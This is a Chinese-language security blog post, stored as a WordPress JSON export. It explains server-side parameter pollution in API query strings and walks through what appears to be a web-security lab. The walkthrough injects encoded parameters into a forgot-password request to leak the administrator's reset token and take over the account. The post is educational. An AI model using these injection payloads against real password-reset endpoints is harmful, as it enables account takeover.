{"id":1522,"date":"2023-05-03T09:10:00","date_gmt":"2023-05-03T01:10:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1522"},"modified":"2024-06-02T09:30:05","modified_gmt":"2024-06-02T01:30:05","slug":"api-parameter-pollution","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1522","title":{"rendered":"API parameter pollution"},"content":{"rendered":"\n<p>\u67d0\u4e9b\u7db2\u7ad9\u7121\u6cd5\u76f4\u63a5\u5f9eInternet\u5b58\u53d6\u7684\u5167\u90e8API\uff0c\u56e0\u6b64\u9700\u8981\u5728\u900f\u904e\u4e00\u500b\u4e2d\u9593\u7cfb\u7d71\u5b58\u53d6\u5167\u90e8API\uff0c\u5728\u9019\u500b\u904e\u7a0b\u4e2d\u5982\u679c\u6c92\u6709\u9032\u884c\u9069\u7576\u7684\u7de8\u78bc\u6642\uff0c\u5c31\u6703\u767c\u751f\u4f3a\u670d\u5668\u7aef\u53c3\u6578\u6c61\u67d3\uff0c\u9019\u610f\u5473\u8457\u6709\u6a5f\u6703\u80fd\u5920\u64cd\u7e31\u6216\u6ce8\u5165\u53c3\u6578\u653b\u64caAPI\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6e2c\u8a66\u67e5\u8a62\u5b57\u4e32\u4e2d\u7684\u53c3\u6578\u6c61\u67d3<\/h2>\n\n\n\n<p>\u82e5\u8981\u6e2c\u8a66\u67e5\u8a62\u5b57\u4e32\u4e2d\u7684\u4f3a\u670d\u5668\u7aef\u53c3\u6578\u6c61\u67d3\uff0c\u53ef\u5c07\u5c07\u67e5\u8a62\u8a9e\u6cd5\u5b57\u5143\u50cf\u662f<code>#<\/code>,\u00a0<code>&amp;<\/code>,<code>=<\/code>\u653e\u5165\u8f38\u5165\u53c3\u6578\u4e2d\uff0c\u4e26\u89c0\u5bdf\u61c9\u7528\u7a0b\u5f0f\u5982\u4f55\u56de\u61c9\u3002\u5e38\u898b\u7684\u6e2c\u8a66\u601d\u8def\u67094\u500b\u65b9\u5411<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6e2c\u8a66\u622a\u65b7<\/li>\n\n\n\n<li>\u6e2c\u8a66\u7121\u6548\u53c3\u6578<\/li>\n\n\n\n<li>\u6e2c\u8a66\u6709\u6548\u53c3\u6578<\/li>\n\n\n\n<li>\u6e2c\u8a66\u8986\u84cb<\/li>\n<\/ul>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u5047\u5982\u4f7f\u7528\u8005\u8a2a\u554f\u8acb\u6c42<code>GET \/userSearch?name=peter&amp;back=\/home<\/code>\uff0c<\/p>\n\n\n\n<p>\u8a72\u7cfb\u7d71\u6703\u7528\u6b64\u8acb\u6c42<code>GET \/users\/search?name=peter&amp;publicProfile=true<\/code>\u67e5\u8a62\u5167\u90e8API <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e2c\u8a66\u622a\u65b7<\/h3>\n\n\n\n<p>\u4f7f\u7528#\u4f86\u5617\u8a66\u622a\u65b7\u4f3a\u670d\u5668\u7aef\u8acb\u6c42<\/p>\n\n\n\n<p>\u4f7f\u7528\u8005\u8a2a\u554f\u8acb\u6c42\u6539\u70ba<code>GET \/userSearch?name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">%23foo<\/mark>&amp;back=\/home<\/code><\/p>\n\n\n\n<p>\u6240\u4ee5\u8a72\u7cfb\u7d71\u5c31\u6703\u7528\u6b64\u8acb\u6c42<code>GET \/users\/search?name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">#foo<\/mark>&amp;publicProfile=true<\/code>\u67e5\u8a62\u5167\u90e8API<\/p>\n\n\n\n<p>\u63a5\u8457\u6703\u6709\u4ee5\u4e0b2\u7a2e\u53ef\u80fd<\/p>\n\n\n\n<p>\u5047\u5982\u7cfb\u7d71\u6700\u5f8c\u89e3\u8b80\u70ba<code>name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">#foo<\/mark><\/code>\uff0c\u5247\u6703\u56de\u50b3<code>Invalid name<\/code>\uff0c\u56e0\u70ba\u5df2\u5c07\u00a0<code>foo<\/code>\u8996\u70ba\u4f7f\u7528\u8005\u540d\u7a31\u7684\u4e00\u90e8\u5206<\/p>\n\n\n\n<p>\u5047\u5982\u7cfb\u7d71\u6700\u5f8c\u89e3\u8b80\u70ba<code>name=peter<\/code>\uff0c\u5247\u6703\u56de\u50b3user peter\u4e4b\u985e\uff0c\u8868\u793a\u4f3a\u670d\u5668\u7aef\u67e5\u8a62\u53ef\u80fd\u5df2\u88ab\u622a\u65b7\uff0c\u5f8c\u9762\u7684<code><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">#foo<\/mark>&amp;publicProfile=true<\/code>\u90fd\u6c92\u6709\u88ab\u57f7\u884c<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e2c\u8a66\u7121\u6548\u53c3\u6578<\/h3>\n\n\n\n<p>\u5982\u679c\u4e0d\u77e5\u9053\u6709\u6c92\u6709\u9019\u500b\u53c3\u6578\uff0c\u53ef\u4ee5\u6e2c\u8a66\u4ee5\u89c0\u5bdf\u53cd\u61c9<\/p>\n\n\n\n<p>\u5c07\u67e5\u8a62\u5b57\u4e32\u4fee\u6539\u70ba<code>GET \/userSearch?name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">%26foo=xyz<\/mark>&amp;back=\/home<\/code><\/p>\n\n\n\n<p>\u9019\u6703\u5c0e\u81f4\u5411\u5167\u90e8 API \u767c\u51fa<code>GET \/users\/search?name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&amp;foo=xyz<\/mark>&amp;publicProfile=true<\/code>\u67e5\u8a62\u5167\u90e8API<\/p>\n\n\n\n<p>\u5982\u679c\u56de\u61c9\u672a\u66f4\u6539\uff0c\u9019\u53ef\u80fd\u8868\u793a\u53c3\u6578\u5df2\u6210\u529f\u6ce8\u5165\u4f46\u88ab\u61c9\u7528\u7a0b\u5f0f\u5ffd\u7565\u3002\u63db\u53e5\u8a71\u8aaa\u53ef\u80fd\u4e0d\u5b58\u5728foo\u53c3\u6578<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e2c\u8a66\u6709\u6548\u53c3\u6578<\/h3>\n\n\n\n<p>\u5047\u5982\u5df1\u78ba\u8a8d\u6709<code>email<\/code>\u53c3\u6578\uff0c\u5247\u53ef\u6e2c\u8a66\u8a72\u53c3\u6578\u53cd\u61c9<\/p>\n\n\n\n<p>\u5c07\u67e5\u8a62\u5b57\u4e32\u4fee\u6539\u70ba<code>GET \/userSearch?name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">%26email=foo<\/mark>&amp;back=\/home<\/code><\/p>\n\n\n\n<p>\u9019\u6703\u5c0e\u81f4\u5411\u5167\u90e8 API \u767c\u51fa<code>GET \/users\/search?name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&amp;email=foo<\/mark>&amp;publicProfile=true<\/code>\u67e5\u8a62\u5167\u90e8API<\/p>\n\n\n\n<p>\u63a5\u8457\u53ef\u4ee5\u89c0\u5bdf\u8fd4\u56de\u5167\u5bb9\u505a\u9032\u4e00\u6b65\u7684\u5206\u6790<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e2c\u8a66\u8986\u84cb<\/h3>\n\n\n\n<p>\u5c07\u67e5\u8a62\u5b57\u4e32\u4fee\u6539\u70ba<code>GET \/userSearch?name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">%26name=admin<\/mark>&amp;back=\/home<\/code><\/p>\n\n\n\n<p>\u9019\u6703\u5c0e\u81f4\u5411\u5167\u90e8 API \u767c\u51fa\u4ee5\u4e0b\u4f3a\u670d\u5668\u7aef\u8acb\u6c42\uff1a<code>GET \/users\/search?name=peter<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">&amp;name=admin<\/mark>&amp;publicProfile=true<\/code><\/p>\n\n\n\n<p>\u7cfb\u7d71\u6700\u5f8c\u5c0dname\u7684\u89e3\u8b80\u53ef\u80fd\u6703\u6709\u4ee5\u4e0b\u4e09\u7a2e\u884c\u70ba <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PHP\u53ea\u89e3\u6790\u6700\u5f8c\u4e00\u500b\u53c3\u6578\u3002\u9019\u5c07\u5c0e\u81f4\u7528\u6236\u641c\u5c0b<code>admin<\/code>\u3002<\/li>\n\n\n\n<li>ASP.NET \u7d50\u5408\u4e86\u9019\u5169\u500b\u53c3\u6578\u3002\u9019\u5c07\u5c0e\u81f4\u7528\u6236\u641c\u7d22<code>peter,admin<\/code>\uff0c\u9019\u53ef\u80fd\u6703\u5c0e\u81f4<code>Invalid username<\/code>\u932f\u8aa4\u8a0a\u606f\u3002<\/li>\n\n\n\n<li>Node.js\/express \u50c5\u89e3\u6790\u7b2c\u4e00\u500b\u53c3\u6578\u3002\u9019\u5c07\u5c0e\u81f4\u7528\u6236\u641c\u7d22<code>peter<\/code>\uff0c\u7d66\u51fa\u672a\u66f4\u6539\u7684\u7d50\u679c\u3002<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528\u67e5\u8a62\u5b57\u4e32\u4e2d\u7684\u53c3\u6578\u6c61\u67d3<\/h2>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u67d0\u7db2\u7ad9\u5617\u8a66\u5c07administrator\u91cd\u7f6e\u5bc6\u78bc\u6642\uff0c\u6703\u7522\u751f\u4ee5\u4e0b\u8acb\u6c42<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>request\nPOST \/forgot-password HTTP\/2\n...omit...\ncsrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&amp;username=administrator\n\nresponse\n{\"result\":\"*****@normal-user.net\",\"type\":\"email\"}<\/code><\/pre>\n\n\n\n<p>\u6839\u64da\u8acb\u6c42\u8abf\u6574\u4e0d\u540c\u7684\u53c3\u6578\uff0c\u89c0\u5bdf\u8fd4\u56de\u72c0\u6cc1\u5982\u4e0b\uff0c\u767c\u73fe\u5f8c\u9762\u63a5%26field=email\u53ef\u6b63\u5e38\u8fd4\u56de<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u8acb\u6c42\u53c3\u6578<\/td><td>\u8fd4\u56de\u5167\u5bb9<\/td><\/tr><tr><td>csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&amp;username=administrator&amp;x=y<\/td><td>{&#8220;result&#8221;:&#8221;*****@normal-user.net&#8221;,&#8221;type&#8221;:&#8221;email&#8221;}<\/td><\/tr><tr><td>csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&amp;username=administrator%26x=y<\/td><td>{&#8220;error&#8221;: &#8220;Parameter is not supported.&#8221;}<\/td><\/tr><tr><td>csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&amp;username=administrator#x=y<\/td><td>{&#8220;error&#8221;: &#8220;Field not specified.&#8221;}<\/td><\/tr><tr><td>csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&amp;username=administrator%23<\/td><td>{&#8220;error&#8221;: &#8220;Field not specified.&#8221;}<\/td><\/tr><tr><td>csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&amp;username=administrator%26field=y<\/td><td>{&#8220;type&#8221;:&#8221;ClientError&#8221;,&#8221;code&#8221;:400,&#8221;error&#8221;:&#8221;Invalid field.&#8221;}<\/td><\/tr><tr><td>csrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&amp;username=administrator<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">%26field=email<\/mark><\/td><td><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">{&#8220;result&#8221;:&#8221;*****@normal-user.net&#8221;,&#8221;type&#8221;:&#8221;email&#8221;}<\/mark><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>    <\/p>\n\n\n\n<p>\u53e6\u5916\uff0c\u5728\u5206\u6790\u7db2\u7ad9\/static\/js\/forgotPassword.js \u767c\u73fe\u53c3\u6578reset_token\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit... \nwindow.location.href = \/forgot-password?reset_token=${resetToken}; \n...omit...<\/code><\/pre>\n\n\n\n<p>\u7d50\u5408\u4e0a\u8ff02\u500b\u767c\u73fe\uff0c\u5617\u8a66\u5c0d\u63a5\u53e3\u4f7f\u7528field\u642d\u914dreset_token\u7684\u7d44\u5408\uff0c\u5f9e\u8fd4\u56de\u5167\u5bb9\u767c\u73fe\u53ef\u5f97\u5230reset_token<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>request\nPOST \/forgot-password HTTP\/2\n...omit...\ncsrf=yqrPLt5Q1BkIbVYirf55gpU6GanCnc7p&amp;username=administrator%26field=reset_token\n\nresponse\n{\"result\":\"5f49jq4ggitxapw62hgk850571kkdqs8\",\"type\":\"reset_token\"}<\/code><\/pre>\n\n\n\n<p>\u6253\u958b\u700f\u89bd\u5668\u8a2a\u554f\u4ee5\u4e0b\u7db2\u5740\u5373\u53ef\u91cd\u5c0e\u5230administrator\u7684\u5bc6\u78bc\u66f4\u6539\u9801\u9762<\/p>\n\n\n\n<p><code>\/forgot-password?reset_token=5f49jq4ggitxapw62hgk850571kkdqs8<\/code><\/p>\n\n\n\n<p>Lab: Exploiting server-side parameter pollution in a query string<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n","protected":false},"excerpt":{"rendered":"<p>\u67d0\u4e9b\u7db2\u7ad9\u7121\u6cd5\u76f4\u63a5\u5f9eInternet\u5b58\u53d6\u7684\u5167\u90e8API\uff0c\u56e0\u6b64\u9700\u8981\u5728\u900f\u904e\u4e00\u500b\u4e2d\u9593\u7cfb\u7d71\u5b58\u53d6\u5167\u90e8API\uff0c\u5728\u9019\u500b\u904e\u7a0b\u4e2d\u5982\u679c\u6c92\u6709\u9032\u884c\u9069\u7576\u7684\u7de8\u78bc\u6642\uff0c\u5c31\u6703\u767c\u751f\u4f3a\u670d\u5668\u7aef\u53c3\u6578\u6c61\u67d3\uff0c\u9019\u610f\u5473\u8457\u6709\u6a5f\u6703\u80fd\u5920\u64cd\u7e31\u6216\u6ce8\u5165\u53c3\u6578\u653b\u64caAPI\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-1522","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1522","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1522"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1522\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1522"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1522"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1522"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}